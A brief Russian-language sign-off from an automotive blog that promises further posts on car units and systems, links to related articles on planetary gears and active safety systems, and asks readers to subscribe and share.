    Мы обязательно продолжим наши беседы об to-ru.ru/planetarnaya-peredacha-printsip-dejstviya.html» target=»_blank» rel=»noopener noreferrer»>узлах, агрегатах и to-ru.ru/aktivnye-sistemy-bezopasnosti-avtomobilya.html» target=»_blank» rel=»noopener noreferrer»>системах автомобилей, а чтобы не пропустить свежие рассказы, обязательно подписывайтесь на наш блог, если вы этого ещё не сделали, и давайте шире смотреть на мир, не скупитесь на информацию, кидайте ссылки Вашим друзьям.

    Удачи на дорогах и в жизни!

Back to top button